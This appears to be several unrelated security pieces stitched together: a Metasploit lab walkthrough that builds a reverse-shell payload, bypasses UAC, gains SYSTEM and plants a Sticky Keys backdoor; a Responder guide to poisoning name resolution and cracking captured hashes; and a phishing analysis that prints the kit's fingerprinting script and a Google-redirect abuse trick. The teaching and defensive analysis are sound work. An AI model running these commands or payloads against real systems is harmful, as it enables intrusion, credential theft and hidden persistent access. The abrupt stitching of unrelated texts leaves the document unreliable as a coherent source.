The second machine is the Windows 11 VM, which serves as the target system.

This machine represents a typical Windows workstation that an attacker might encounter in a real environment.

Both virtual machines must be running and connected to the same network for the attack to succeed. The Parrot Security machine is assigned the IP address 10.10.1.13, which the Windows target will use to download the payload and establish the reverse connection.

Before beginning, ensure you have the login credentials for both systems. For the Windows 11 machine, you will need access to two accounts: an admin account, and an unprivileged user account.

The admin account has administrative privileges while the user account is a standard user, which becomes important when testing the persistence mechanism.

In this demo, you’ll learn how to:

1. Generate a malicious payload using msfvenom that will create a reverse connection from the target to the attacker machine.

2. Set up a shared folder on the Apache web server to host the payload for delivery to the target.

3. Configure a Metasploit handler to listen for and catch the incoming connection from the target.

4. Download and execute the payload on the Windows 11 target machine to establish the initial Meterpreter session.

5. Bypass Windows User Account Control using the FodHelper Registry Key exploit to remove restrictions on the session.

6. Escalate privileges to SYSTEM level, gaining complete control over the target machine.

7. Deploy the Sticky Keys exploit to replace the accessibility feature with a command prompt.

8. Verify persistent access by triggering Sticky Keys from the Windows lock screen and confirming SYSTEM-level access without authentication.

Steps to Complete

Part 1: Setting Up the Attack Environment

Begin by switching to the Parrot Security machine. Log in using the username attacker and the password toor.

Once logged in, open a Terminal window. You will need root privileges to run the necessary commands, so execute sudo su to switch to the root user.

When prompted for a password, enter toor. Note that the password will not be visible on the screen as you type, which is normal behavior for Linux systems.

After gaining root access, run the cd command to navigate to the root directory. This ensures you are working from a consistent location for the following steps.

Part 2: Generating the Malicious Payload

The next step is to create a malicious executable that will establish a reverse connection from the target Windows machine back to your Parrot Security machine.

This payload will use the Meterpreter reverse TCP shell, which provides extensive post-exploitation capabilities.

Run the following command to generate the payload:

msfvenom -p windows/meterpreter/reverse_tcp lhost=10.10.1.13 lport=444 -f exe > /home/attacker/Desktop/Windows.exe

This command uses msfvenom, the Metasploit payload generator, to create a Windows executable file. The payload is configured to connect back to IP address 10.10.1.13 on port 444. The resulting file is saved to the Desktop as Windows.exe.

Part 3: Preparing the File Sharing Infrastructure

With the payload created, you now need to deliver it to the target machine. In a real attack scenario, there are numerous ways an attacker might accomplish this.

The payload could be sent as an email attachment, embedded in a malicious document, hosted on a compromised website, delivered through a USB drive, or distributed via file sharing services. Social engineering techniques are often used to convince the target to download and execute the file.

For simplicity in this demonstration, you will host the payload on a local web server and manually download it on the target machine. The Apache web server on Parrot Security will serve this purpose.

First, create the directory:

mkdir /var/www/html/share

Next, set the appropriate permissions to allow the web server to serve files from this directory:

chmod -R 755 /var/www/html/share

Finally, change the ownership of the directory to the Apache web server user:

chown -R www-data:www-data /var/www/html/share

With the shared folder ready, copy the payload you generated into this directory so it can be served to the target machine:

cp /home/attacker/Desktop/Windows.exe /var/www/html/share/

Now start the Apache web server to begin hosting the file:

service apache2 start

The payload is now accessible to any machine on the network that browses to the shared folder.

Part 4: Configuring the Metasploit Listener

Before the target executes the payload, you need to set up a listener that will catch the incoming connection. Metasploit provides a multi-handler module specifically designed for this purpose.

Launch the Metasploit Framework by running the command:

msfconsole

Wait for Metasploit to fully load. Once the console is ready, configure the handler by entering the following commands one at a time:

First, select the multi-handler exploit module:

use exploit/multi/handler

Next, specify the payload type that matches what you generated earlier:

set payload windows/meterpreter/reverse_tcp

Set the local host address to your Parrot Security machine:

set lhost 10.10.1.13

Set the local port to match the one specified in the payload:

set lport 444

Finally, start the handler and wait for incoming connections:

run

The handler is now actively listening for connections from the target machine. Leave this running and proceed to the next step.

Part 5: Delivering and Executing the Payload on the Target

Switch to the Windows 11 target machine and log in to the admin account.

Once logged in, open Mozilla Firefox or another web browser of your choice. In the address bar, type the URL of your Parrot machine and press Enter:

http://10.10.1.13/share

Note: Your IP may differ to find your IP, refer to your VM machine settings, or use the ifconfig command (Linux) or __ (Windows). (EDIT)

This will display the contents of the shared folder on the Parrot Security machine. You should see the Windows.exe file that you placed there earlier.

Click on Windows.exe to download the file to the Windows machine. Once the download completes, navigate to the Downloads folder and locate the Windows.exe file. Double-click the file to execute it.

If Windows displays an Open File Security Warning dialog, click Run to allow the executable to run. This action triggers the payload, which establishes a connection back to your Metasploit listener.

Leave the Windows 11 machine running with the payload active and switch back to the Parrot Security machine.

Part 6: Verifying the Meterpreter Session

When you return to the Parrot Security machine, you should see that a Meterpreter session has been successfully established.

The Metasploit console will display a message indicating that a new session has opened.

To confirm the connection and gather information about the target system, run the following commands:

First, retrieve system information:

sysinfo

This command displays details about the target machine, including the computer name, operating system version, architecture, and domain membership.

Next, check your current user context:

getuid

This command shows which user account the Meterpreter session is running under. At this point, you likely have standard user privileges, which limits what actions you can perform on the system.

Part 7: Bypassing User Account Control

Windows User Account Control is a security feature that prevents unauthorized changes to the operating system.

Even though you have a Meterpreter session, UAC may be blocking you from gaining full access to the machine. To proceed with the exploitation, you need to bypass this protection.

First, send your current Meterpreter session to the background so you can load additional modules:

background

Search for available UAC bypass modules within Metasploit:

search bypassuac

This search returns a list of modules designed to circumvent UAC protection. For this exercise, you will use the FodHelper Registry Key bypass technique, which exploits a vulnerability in the Windows Features on Demand Helper.

Load the bypass module:

use exploit/windows/local/bypassuac_fodhelper

Specify which session to target with this exploit:

set session 1

Review the module options to ensure everything is configured correctly:

show options

Set your local host address:

set LHOST 10.10.1.13

Set the target identifier (0 represents the default target):

set TARGET 0

Execute the bypass exploit:

exploit

If successful, the exploit will create a new Meterpreter session that has bypassed UAC restrictions. You should see a message indicating that a new session has been opened.

Part 8: Elevating to System-Level Privileges

With UAC bypassed, you can now attempt to elevate your privileges to the highest level available on a Windows system: SYSTEM. This level of access gives you complete control over the machine.

Run the following command to elevate privileges:

getsystem -t 1

Verify that the privilege escalation was successful by checking your user context again:

getuid

The output should now show NT AUTHORITY\SYSTEM, confirming that your Meterpreter session is running with the highest possible privileges on the Windows machine.

Before proceeding to the next phase, background this elevated session:

background

Part 9: Deploying the Sticky Keys Exploit

Now that you have system-level access, you can modify the Windows system to provide persistent access through the Sticky Keys feature. Metasploit includes a post-exploitation module specifically designed for this purpose.

Load the Sticky Keys module:

use post/windows/manage/sticky_keys

Display all active Meterpreter sessions to identify which one to use:

sessions -i

You should see multiple sessions listed. Select the elevated session that has SYSTEM privileges:

set session 2

Execute the Sticky Keys exploit:

exploit

This module replaces the Sticky Keys executable with a command prompt, meaning that whenever someone triggers Sticky Keys on the target machine, they will receive a command prompt with SYSTEM privileges instead of the normal accessibility dialog.

Part 10: Verifying Persistent Access

To confirm that the Sticky Keys exploit was successful, switch back to the Windows 11 machine.

Sign out of the Admin account by clicking the Start menu, selecting the user icon, and choosing Sign out.

Sign into the unprivileged user account. This should be a standard user account without any administrative privileges, which makes this test more meaningful.

After logging in as an unprivileged user, lock the system by pressing the Windows key and L together, or by selecting Lock from the Start menu.

From the lock screen, press the Shift key five times in rapid succession. Normally, this action would trigger the Sticky Keys accessibility dialog. However, because of the exploit you deployed, a Command Prompt window will appear instead.

Important: If your host machine (the physical computer you are using) displays its own Sticky Keys prompt, dismiss it by clicking No or Cancel. This prompt is from your local operating system and is unrelated to the virtual machine.

In the Command Prompt window that appears on the Windows lock screen, type the following command and press Enter:

whoami

The output should display NT AUTHORITY\SYSTEM, proving that you have obtained system-level access directly from the lock screen without needing to log in. This demonstrates successful persistent access to the target system through the Sticky Keys exploit.

This technique is particularly powerful because it provides system-level access even when the machine is locked and regardless of which user account is logged in.

The exploit persists across reboots and does not require network connectivity once deployed.

Persistent System-Level Access

The exploit persists across reboots and does not require network connectivity once deployed.

The Sticky Keys backdoor will remain functional even after the machine restarts, providing a reliable method for regaining system-level access to the compromised system.

Computers on a network are constantly chatting with each other, discovering printers, finding shared folders, locating servers, and more.

When a computer can’t find the location of a resource via DNS, it falls back to broadcast protocols like LLMNR, NBT-NS, or mDNS to ask other devices on the network “do you know where this is?”.

An attacker who is on the same network as their targets can use Responder to capture credentials by impersonating requested resources.

Responder listens for name resolution broadcasts and responds claiming to be the requested resource, tricking the victim into sending their credentials.

Those captured password hashes can then be cracked or relayed.

Responder Demo

In the example below, I’ll show you how Responder can be used with a password cracking tool, John the Ripper, to capture and crack a password.

In the video, we are using two virtual machines: a Parrot Linux machine as the attacker, and a Windows 11 machine as the victim.

First, we fire up Responder on the Parrot Linux machine. Responder is now listening on the network for traffic it can intercept.

Next, we go over to the Windows 11 machine and try to connect to a shared network resource (SMB share) at \\Files. Responder intercepts this request, presents a fake SMB server, and captures the login credentials.

We then use the Pluma text editor to paste the captured hash and save it as hash.txt. Finally, we use John the Ripper to crack the password. We use a simple password (qwerty) for demonstration, since it’s in John the Ripper’s default wordlist.

Responder Installation

Responder comes pre-installed on penetration testing distributions like Kali Linux and Parrot Linux. You can also download it from the official GitHub repository.

How Responder Works

Responder exploits weaknesses in how computers find resources on a network. Below we’ll cover which systems are most vulnerable, how name resolution works, and what protocols Responder can poison and capture.

Best Against Windows Targets

Responder works best against Windows targets because LLMNR and NBT-NS are enabled by default, and Windows automatically sends credentials when connecting to network resources.

It can poison mDNS on macOS and Linux, but these systems don’t automatically send password hashes, so it relies on the user manually entering credentials into fake login prompts instead.

How Windows file sharing normally works:

1. You type \\server\share in Explorer to access a file share

2. Your computer needs to find the IP address of “server”

3. It tries these methods in order:

   • DNS - asks the domain controller “where is server?”

   • LLMNR - broadcasts to the local network “hey everyone, who is server?”

   • NBT-NS - older broadcast method, same idea

   • mDNS - similar broadcast protocol (used more by Apple/Linux)

Protocols Responder can poison

These are broadcast or discovery protocols that Responder can intercept and respond to with false information.

• LLMNR (Link-Local Multicast Name Resolution)

• NBT-NS (NetBIOS Name Service)

• mDNS (Multicast DNS)

• DNS

• DHCP

• WPAD (Web Proxy Auto-Discovery)

Protocols Responder Can Capture:

Once a victim connects to Responder’s fake server, it can capture credentials from these services.

• HTTP/HTTPS

• SMB

• LDAP

• FTP

• POP3

• IMAP

• SMTP

• SQL Server (MSSQL)

• Kerberos

• WebDAV

How Responder Captures Credentials

SMB is the most reliable source of credentials because Windows automatically sends them when connecting to file shares. If a user tries to access a non-existent share or Responder wins the race to respond, it captures the hash without any user interaction.

FTP, POP3, IMAP, SMTP, LDAP, and MSSQL are more situational. Responder runs fake servers on these ports, but relies on something actually trying to connect.

This could happen if a misconfigured application, old shortcut, or script references a non-existent server, or if Responder poisons a name that happens to be a mail or database server.

WPAD is particularly effective because browsers automatically look for proxy configuration. With the -w flag, Responder serves a malicious proxy config, and with -F it can force an authentication prompt.

Responder Syntax Guide:

To view syntax and commands for Responder, type.

responder --h

This will show the help file.

Usage:

responder -I eth0 -w -d
responder -I eth0 -wd

OPTIONS
Display the current version of the program.

--version

Display the help menu with all available options.

-h, --help

Run in passive mode to observe NBT-NS, BROWSER, and LLMNR requests on the network without sending any poisoned responses. This is useful for reconnaissance to see what systems are making requests before you start attacking.

-A, --analyze

Specify which network interface Responder should listen on. You can use ALL as a wildcard to listen on every available interface.

-I eth0, --interface=eth0

Set the local IP address for Responder to use. This option is only required on OSX systems.

-i 10.0.0.21, --ip=10.0.0.21

Redirect all poisoned responses to a different IPv6 address instead of the one assigned to Responder. Useful when you want victims to connect to another machine.

-6 2002:c0a8:f7:1:3ba8:aceb:b1a9:81ed, 
--externalip6=2002:c0a8:f7:1:3ba8:aceb:b1a9:81ed

Redirect all poisoned responses to a different IPv4 address instead of the one assigned to Responder. Useful when you want victims to connect to another machine.

-e 10.0.0.22, --externalip=10.0.0.22

Use Basic HTTP authentication instead of NTLM when capturing credentials. NTLM is the default.

-b, --basic

Enable Responder to answer DHCP broadcast requests and inject a malicious WPAD server into the DHCP response. This is disabled by default.

-d, --DHCP

Inject a malicious DNS server into DHCP responses instead of a WPAD server. This is disabled by default.

-D, --DHCP-DNS

Start a rogue WPAD proxy server that allows you to intercept web traffic from victims who automatically discover proxy settings. This is disabled by default.

-w, --wpad

Specify an upstream HTTP proxy that the rogue WPAD proxy will use for outgoing requests. The format is host:port.

-u UPSTREAM_PROXY, --upstream-proxy=UPSTREAM_PROXY

Force victims to authenticate with NTLM or Basic authentication when they request the wpad.dat file. This may cause a login prompt to appear on victim machines. This is disabled by default.

-F, --ForceWpadAuth

Force all proxy connections to require NTLM or Basic authentication. NTLM authentication happens transparently while Basic authentication displays a login prompt. This is highly effective and does not require WPAD to be enabled. This is disabled by default.

-P, --ProxyAuth

Suppress most output from the poisoning modules to reduce console noise. This is disabled by default.
-Q, --quiet

Force a downgrade to the weaker LM hashing algorithm. This targets legacy systems running Windows XP or Windows Server 2003 and earlier. This is disabled by default.

--lm

Force a downgrade by disabling Extended Session Security. This weakens the authentication and makes captured hashes easier to crack. This is disabled by default.

--disable-ess

Increase the amount of detail shown in the output for troubleshooting or monitoring.

-v, --verbose

Change the Time To Live value for poisoned responses. The value must be in hexadecimal where 1e equals 30 seconds. You can also use random to set a randomized TTL for each response.

-t 1e, --ttl=1e

Specify a custom canonical name to return in the Answer section of LLMNR poison responses. By default the answer uses the same name as the query. This is mainly useful when performing Kerberos relay attacks over HTTP.

-N ANSWERNAME, --AnswerName=ANSWERNAME

Change the SMB error code returned to victims from STATUS_ACCESS_DENIED to STATUS_LOGON_FAILURE. This allows you to capture WebDAV authentication requests from machines that are running the WebClient service.

-E, --ErrorCode

Happy Hacking!

The email hits his inbox at 8:01 a.m. He is already deep in the morning chaos. A bank is pressing for updated debt yields before lunch, an investor is asking why returns might be lower this quarter, and a half-finished capital expenditures report is due by the end of the day.

Rapidly scrolling through his email on his phone in the back of an Uber, he opens the DocuSign message.

The subject line reads:

Action Required: Documents Pending Review (Signature Needed; Ref ID: 9981273433; Deposit Agreement Confirmation; 12/7/2025)

Just as he moves to tap the link, something about the email feels off.

He uses DocuSign every day for closings, NDAs, and investor documents, so after a quick glance, his brain immediately flags something as wrong:

• No official DocuSign logo in the header.

• The classic yellow ‘Review Document’ button is the wrong color, the wording is off, and the button itself is a thin outline.

• Fonts are too light, and the margins and padding feel “off.”

Even with the red flags, his tight schedule almost overrides his caution. The long reply chain below the button creates a false sense of urgency and legitimacy.

With his finger hovering over the button, he hesitated.

The Million Dollar Pause

Fortunately, he remembered the advice: “pause before you click.” Despite the pressure of his schedule, he resisted tapping the button and sent the email to me instead.

He is lucky he did. On the other side of that button waited a trap: a sophisticated phishing script. It would have logged his action, fingerprinted his browser and IP for future attacks, and notified the attacker.

Had he entered his credentials into the fake DocuSign form, his account would have been stolen, triggering a rapid escalation that could have cost him, his partners, and clients millions.

💡 Scammers engineer every detail of these emails, from the subject line (”Action Required,” “Signature Needed”) to the time of day (8:01 a.m. during peak chaos), to force you to prioritize speed over checking critical flaws.

From Click to Compromise

Business Email Compromise (BEC) is one of the most common forms of cyberattack against corporations. Attackers seek to compromise legitimate accounts, especially those used to request or approve payments, so they can:

• Weaponize Trust: Impersonate a trusted figure (like an executive or a partner) to send fraudulent requests from a seemingly legitimate source.

• Hijack Transactions: Intercept and alter payment instructions for legitimate invoices, redirecting funds to accounts controlled by the attacker.

• Initiate Wire Fraud: Request immediate, urgent, and high-value wire transfers directly to their money mule network.

The DocuSign BEC attack analyzed here is a potent example, demonstrating a sophisticated chain of events that moves the victim from a moment of distraction to a high-consequence compromise.

Technical Analysis: Overview

This DocuSign-themed Business Email Compromise attack illustrates how modern commercial cybercrime operates. The email itself contained clear design flaws, yet its timing and urgency were persuasive enough to nearly compromise a senior executive.

A deeper analysis of the email and the linked phishing pages reveals a far more sophisticated system behind the scenes. The technical infrastructure spans multiple countries, uses layered redirects, and exhibits the hallmarks of a Phishing-as-a-Service operation.

The sections that follow break down each component of the attack and show how this commercial cybercrime model works to identify, track, and compromise targets.

In this article, we will discuss:

• Email Headers: An examination of the email headers reveals signs of spoofing or non-DocuSign origins.

• Design: The analysis highlights the visual inconsistencies of the template that betrayed the DocuSign scam.

• Pretext: The attacker’s cover story and urgency tactics are dissected to show how the executive was manipulated.

• Methodology: The step-by-step process of the multi-step attack, from the initial click to the final compromise, is broken down.

  • Link obfuscation: The clever trick utilizing a legitimate Google domain to hide the final malicious link is explained.

  • Phishing pages: Analysis of the pages used to silently fingerprint, track, and attempt to evade security analysis before presenting a login form.

  • Tracking scripts: The details of the script used to fingerprint the victim and alert the attacker of a live click are provided.

• Infrastructure: An analysis of the DNS, WHOIS, and code complexity that reveals the division of labor between the PaaS Affiliate and the PaaS Provider.

Let’s get into it!

The Email Headers

Email headers are the first place to check if you suspect a phishing attempt. The sender name can be spoofed, so review the full headers (available in the menu of all email services), including the Sender and Reply-To fields.

💡 In Gmail, for example, you can view the original headers by opening the email, clicking the three-dot menu next to the Reply button, and selecting “Show original.” This will display the complete header information.

In this case, I received the message as a forward, so the original headers were not available. The visible “From” name appeared to be a legitimate construction company, but this could have been easily spoofed.

A simple red flag would have been the domain. Real DocuSign messages always come from a DocuSign-controlled address. Attackers often create look-alike domains to fool recipients, such as replacing an “i” with a lowercase “l.”

It is also possible for attackers to use a compromised or misused legitimate DocuSign account. In that scenario, the domain would look correct, so context and document details become more important than the sender address alone.

The Design

The design of the email was noticeably wrong. A convincing DocuSign message should look clean and consistent, but this template had incorrect wording, mismatched fonts, missing branding, and awkward spacing.

These issues suggest the attacker used a generic phishing template rather than a precise replica of a real DocuSign email. The goal was not to create a perfect copy, but something “good enough” to catch rushed or distracted recipients.

Many people would overlook these visual flaws, which is why attackers rely on urgency and timing more than design quality.

The Pretext

The pretext is the story that makes a phishing email feel legitimate. In this case, the scenario was generic but believable.

The language was clean, the tone was professional, and the fake reply‑all chain included natural‑sounding holiday references that matched Western norms.

The message also used urgency in both the subject line and the body, pushing the recipient to act quickly without examining the details closely. This is one of the most common and effective elements of phishing.

A more targeted operation would have tailored the message to real people, deals, or timelines inside the victim’s company. This attack relied on a broad, mass‑phishing style approach that focuses on volume rather than precision.

The Redirect Trick

The attack uses a multi‑step redirect chain that exploits a feature within Google’s infrastructure to lend credibility to a malicious link, effectively obscuring the attacker’s true destination until the last moment.

💡You can use a tool like Where Goes to analyze a suspicious link’s redirect path. Be aware that this action may trigger the attacker’s tracking script and beacon, alerting them that the link was clicked.

In the screenshot above, only two redirects appear because the phishing page detected the tool and blocked the remaining steps. Let’s walk through how the full chain works so you can see what the tool wasn’t able to reveal.

Step 1. Initial Redirect (Google.com.sb)

The chain begins with a link that uses a legitimate Google domain, google.com.sb, which is the country‑code domain for the Solomon Islands. This trusted address helps the link pass reputation checks and creates a false sense of safety for the victim.

https://maps.google.com.sb/url?q=https%3A%2F%2Fssologon.eduhealthconnect.com%2F&sa=D&sntz=1&usg=AOVVaw1UGukqpVOCRZyk2UG6GwsZ#?trackingid=[BASE64 ENCODED TRACKING ID]

When you click a link in Google Search, Google News, Google Maps, or Gmail, you are first routed through a Google tracking URL.

In this attack, the attacker recreates that redirect and uses URL encoding to disguise the final destination within the link. Combined with valid Google parameters, this allows the victim to be sent directly to the phishing site without triggering Google’s redirect warning.

URL Encoding

URL Encoding, also called Percent Encoding, replaces characters in a URL such as ?, /, and = with % followed by a two‑digit hexadecimal value.

For example, a space becomes %20.

The purpose of this mechanism is to ensure URLs contain only safe ASCII characters, but in this attack the encoding is also used to obscure the true structure of the link.

By encoding the destination, the redirect URL looks routine and harder to interpret at a glance, helping it resemble a legitimate Google link, hiding the malicious target.

Original URL with Encoding:

https://maps.google.com.sb/url?q=https%3A%2F%2Fssologon.eduhealthconnect.com%2F&sa=D&sntz=1&usg=AOVVaw1UGukqpVOCRZyk2UG6GwsZ#?trackingid=[BASE64 ENCODED TRACKING ID]

With URL Encoding Decoded:

https://maps.google.com.sb/url?q=https://ssologon.eduhealthconnect.com/&sa=D&sntz=1&usg=AOVVaw1UGukqpVOCRZyk2UG6GwsZ#?trackingid=[BASE64 ENCODED TRACKING ID]

URL Parameters

The query parameters in the Google redirect link (the parts after ? and &) normally help Google track where a click came from and whether the link is valid. In this attack, the attacker uses real Google parameters so the redirect looks legitimate and avoids Google’s “Redirect Notice” warning.

The most important parameter is usg, which acts like a signature. When it matches the value Google expects, Google automatically forwards the user without showing any warning. Keeping this valid lets the attacker hide behind Google’s trusted domain.

💡You can generate a valid USG link by sending yourself an email through Gmail, then inspecting the message. Right‑click the sender address, choose Inspect Element, and copy the value of the data-saferedirecturl attribute.

Example: https://www.google.com/url?q=https://darkmarc.substack.com/&source=gmail&ust=1765214187363000&usg=AOvVaw1jo1Yei6JMbVlzNfZfrOeL

With URL Encoding: https://www.google.com/url?q=https://darkmarc%2Esubstack%2Ecom/&source=gmail&ust=1765214187363000&usg=AOvVaw1jo1Yei6JMbVlzNfZfrOeL

Google will display a redirect notice if the USG parameter is missing or expired. It also appears if colons or slashes in the URL, are encoded.

Tracking ID Fragment

At the end of the URL, the attacker adds their tracking ID after a hash symbol. Anything after # is treated as a fragment, which would still be sent to the final page, but Google’s redirect process does not modify or remove it. Parameters, on the other hand, are stripped during the redirect.

By placing the tracking ID in the fragment rather than as a parameter, the attacker ensures it survives the Google redirect untouched. When the victim lands on the phishing page, that page can read the fragment and decode the Base64 value to recover the victim’s email.

#?trackingid=[BASE64 ENCODED TRACKING ID]

Step 2) Redirect to Phishing Page #1

After passing through the Google redirect, the victim is sent to:

https://ssologon.eduhealthconnect.com#?trackingid=[BASE64 ENCODED TRACKING ID]

The phishing page reads the tracking ID from the fragment and decodes it. A fingerprinting script then runs to determine whether the visitor is a real person or an automated tool.

If the script detects a bot, sandbox, or analysis environment, the user is redirected straight to BBC.com, which is why WhereGoes only revealed two redirects.

If the visitor appears legitimate, the page collects detailed browser and device data, sends it to the attacker, and then auto‑submits the user to an intermediary page along with the decoded tracking ID.

Step 3) Redirect to PaaS

The user is then handed off to the PaaS‑hosted portion of the kit, where the more advanced tooling lives. This stage performs deeper fingerprinting, requests broader browser permissions, and uses sophisticated evasion logic designed to block scanners and hide its behavior from security analysis.

As before, if the tracking data doesn’t match a real target or the script detects examination, the user is redirected to BBC.com. The decoy masking ensures the PaaS layer remains hidden from anyone other than the intended victim.

Analysis of the Phishing Process

The first phishing page is hosted on a domain that appears harmless at a glance. The main site presents itself as an education‑related business in India.

URL: ssologon.eduhealthconnect.com

On the subdomain page (ssologon.eduhealthconnect.com), hidden behind the friendly front, is the first phishing page. This page is built to evade detection, and fingerprint your browser.

Behind that legitimate‑looking front, the ssologon subdomain hosts the attacker’s first-stage phishing page. (ssologon.eduhealthconnect.com)

This hidden page is designed to evade automated detection and quietly fingerprint the victim’s browser before handing them off to the next step in the attack.

Phishing Page #1 Analysis

Capture the Page Code (cURL)

We can get a safe snapshot of the page code using the curl tool. CURL is a command line tool that lets you fetch data from websites or servers from the terminal.

This will just download the HTML, JSON, or other content from the server. It won’t run JavaScript, Python, or any other scripts that the server might send.

💡 When using Curl to query a phishing website, use a VPN to hide your true IP. Always verify that the VPN is active and routing all traffic before running any commands.

You can check if your VPN is active and see which IP your terminal is using with this command: curl https://ifconfig.me

This will return the public IP address seen by websites. If the VPN is working correctly, it should show the VPN’s IP, not your real one.

You can also use an online Curl tool like https://reqbin.com/curl to make the requests from their IP.

This is useful to see what the first load of the site provides, before any scripts are run, but may miss out on content, if it’s loaded via JavaScript actions.

In our example, the form is submitted via Javascript which causes a redirect, so we won’t see that redirected content, but we can see that it takes this action.

The curl command:

curl -v --max-redirs 0 “https://ssologon.eduhealthconnect.com/?#tracking_id=[ENCODED TRACKING ID]”

💡When you use -v, cURL shows detailed information about the request and response, including headers and any data sent. This helps when examining suspicious pages by revealing redirect targets, cookies, and server responses without actually executing anything.

When you use --max-redirs <number>, curl limits how many redirects it will follow and stops the chain once the limit is reached. This helps safely inspect suspicious pages by showing redirect targets without blindly following them.

This returns the initial load of the phishing page content. It’s heavily obfuscated, so don’t worry if it doesn’t make sense, we’ll go over it’s functionality below.

<!DOCTYPE html>
<html lang=”en”>

<head>
    <meta charset=”utf-8”>
    <meta http-equiv=”X-UA-Compatible” content=”IE=Edge”>
    <meta name=”viewport” content=”width=device-width, initial-scale=1”>
</head>

<body>
    <script>

(function (q, u, r, g, t, v, w, x) {
  var n = {}, l = {mode: “php”, errors: n};
  try {
    function c(b, a) {
      try {
        l[b] = a();
      } catch (f) {
        n[b] = f.name;
      }
    }
    function d(b, a) {
      c(b, function () {
        function f(m) {
          try {
            var h = a[m];
            switch (typeof h) {
              case “object”:
                null !== h && (h = h.toString());
                break;
              case “function”:
                h = u.prototype.toString.call(h);
            }
            e[m] = h;
          } catch (y) {
            n[b + “.” + m] = y.name;
          }
        }
        var e = {}, k;
        for (k in a) f(k);
        try {
          var p = q.getOwnPropertyNames(a);
          for (k = 0; k < p.length; ++k) f(p[k]);
          e[”!!”] = p;
        } catch (m) {}
        return e;
      });
    }
    d(”console”, r);
    d(”document”, g);
    (function (b, a) {
      c(b, function () {
        var f = {};
        a = a.attributes;
        for (var e in a) e = a[e], f[e.nodeName] = e.nodeValue;
        return f;
      });
    }(”documentElement”, g.documentElement));
    d(”location”, t);
    d(”navigator”, v);
    d(”window”, x);
    d(”screen”, w);
    c(”timezoneOffset”, function () {
      return (new Date).getTimezoneOffset();
    });
    c(”closure”, function () {
      return function () {}.toString();
    });
    l.frame = true;
    c(”frame”, function () {
      l.frame = self !== top;
    });
    c(”touchEvent”, function () {
      return q.prototype.toString.call(g.createEvent(”TouchEvent”));
    });
    c(”tostring”, function () {
      function b() {}
      var a = 0;
      b.toString = function () {
        ++a;
        return “”;
      };
      r.log(b);
      return a;
    });
    c(”webgl”, function () {
      var b = g.createElement(”canvas”).getContext(”webgl”), a = b.getExtension(”WEBGL_debug_renderer_info”);
      return {vendor: b.getParameter(a.UNMASKED_VENDOR_WEBGL), renderer: b.getParameter(a.UNMASKED_RENDERER_WEBGL)};
    });
    function z(b, a, f) {
      var e = b.prototype[a];
      b.prototype[a] = function () {
        l.proto = true;
      };
      f();
      b.prototype[a] = e;
    }
    try {
      z(Array, “includes”, function () {
        return g.createElement(”video”).canPlayType(”video/mp4”);
      });
    } catch (b) {}
  } catch (c) {}
  (function () {
    var c = g.createElement(”form”), d = g.createElement(”input”);
    c.method = “POST”;
    c.action = t.href;
    d.type = “hidden”;
    d.name = “data”;
    d.value = JSON.stringify(l);
    c.appendChild(d);
    g.body.appendChild(c);
    c.submit();
  }());
}(Object, Function, console, document, location, navigator, screen, window));

    </script>
</body>

</html>

Taking a look at our cURL output, we can see that the phishing page takes the following steps when loaded.

1. Collect Basic Browser and System Data

The script begins by gathering a large amount of standard information about the user’s computing environment and browser window.

It records properties from the window, navigator (browser/OS details), screen (resolution/size), and the document (page structure). This creates a detailed profile of the technical setup being used to view the page.

2. Capture the Full URL and Unique Identifiers

Next, the code specifically captures the entire location object, which includes the complete URL and any hash fragments like #tracking_id=xxx.

It also records unique, hard-to-spoof identifiers such as the user’s timezone offset and details about the graphics card (WebGl vendor and renderer). This data allows the server to uniquely identify the user across sessions, even without traditional cookies.

3. Package the Information as JSON

After collecting all the various data points, the script combines them into one single object. This entire object is then converted into a single, massive JSON text string.

This packaging process makes it easy to transmit the complex, structured data across the internet in one go.

4. Create and Prepare a Hidden Submission Form

The script programmatically creates an invisible HTML form and a hidden input field within the webpage.

The form’s submission method is set to POST, and its destination is set to the current page’s full URL. The JSON string created in the previous step is placed into the hidden input field named data.

5. Immediately Send the Data to the Server

Finally, the code appends the hidden form to the page’s body and immediately executes the form’s submit command.

This action instantly sends all the collected browser fingerprinting data back to the server. The entire process of collection and submission happens silently and immediately when the script executes.

Following the Javascript Redirects

Next, we need to figure out where the form is submitted.

Since curl can’t execute the javascript that submits the form, we’ll need a browser. There are many options for this, but the simplest and fastest is to use a web-based headless browser.

This will hide our IP from the attacker, and prevent any scripts from running on our machine. To find out where the script went after the form submission, we can use a tool like Browserling.

Watching the browser load the Javascript, which submits the form, we can see that it goes through several redirects:

Page 1: Landing page

We start here in the Headless Browser:

https://ssologon.eduhealthconnect.com/?#tracking_id=xxx

This page decodes the tracking ID, fingerprints the browser, submits the fingerprint data and tracking information to the server, and then submits the data via a form, redirecting the user to the next step in the process.

Page 2: Redirector Analysis

This page is an intermediate step that acts as a server-side redirector and configuration gate. The server, having received and validated the browser fingerprint from Page 1, responds with the content for this URL:

ssologon.eduhealthconnect.com/.auth/?tracking_id=[DECODED TRACKING ID]

We use cURL to find out the contents:

curl -v --max-redirs 0 “ssologon.eduhealthconnect.com/.auth/?tracking_id=xxx”

The code reveals the redirector’s logic:

<!DOCTYPE html>
<html>
<head>
    <title>Loading...</title>
</head>
<body>
    <script>
let plain = “yes”;
let land = “https://logonacc.ssologon.clctz.org/a3f9c4b1d08e5f72c6ab93d04ef1280b/?OLMDT=CDfkI&fomo=”;
let o = document.location.href;
let e = o.split(”=”)[1];
let m_e = “”;
try {
  m_e = atob(e);
} catch {
  m_e = e;
}
if (plain == “no”) {
  document.location.href = land + btoa(m_e);
} else {
  document.location.href = land + m_e;
}
    </script>
</body>
</html>

The key information is contained in the land variable:

The string a3f9c4b1d08e5f72c6ab93d04ef1280b is a 40-character hexadecimal string (the length of a SHA-1 hash) that is a server-generated unique identifier that is dynamically inserted into the code when this page loads.

Based on the architecture of Phishing-as-a-Service (PhaaS) operations, this value most likely represents either a Static Campaign ID (a fixed key for a specific phishing template or configuration) or an Affiliate ID (a fixed key for a specific attacker’s account), though it could also be a Dynamic Session ID or a pointer to a specific Template/Resource ID on the final server.

The script’s primary action is to take the decoded tracking ID (m_e), append it to the URL containing this key, and execute an immediate client-side redirect to the final phishing domain.

Page 3: PaaS Platform Analysis

This page is where it gets really interesting, and the level of sophistication jumps up exponentially, indicating that we may have stumbled upon a commercial grade Phishing-as-a-Service system.

https://logonacc.ssologon.clctz.org/a3f9c4b1d08e5f72c6ab93d04ef1280b/?OLMDT=CDfkI&fomo=[DECODED TRACKING ID]

We use cURL to find out the contents:

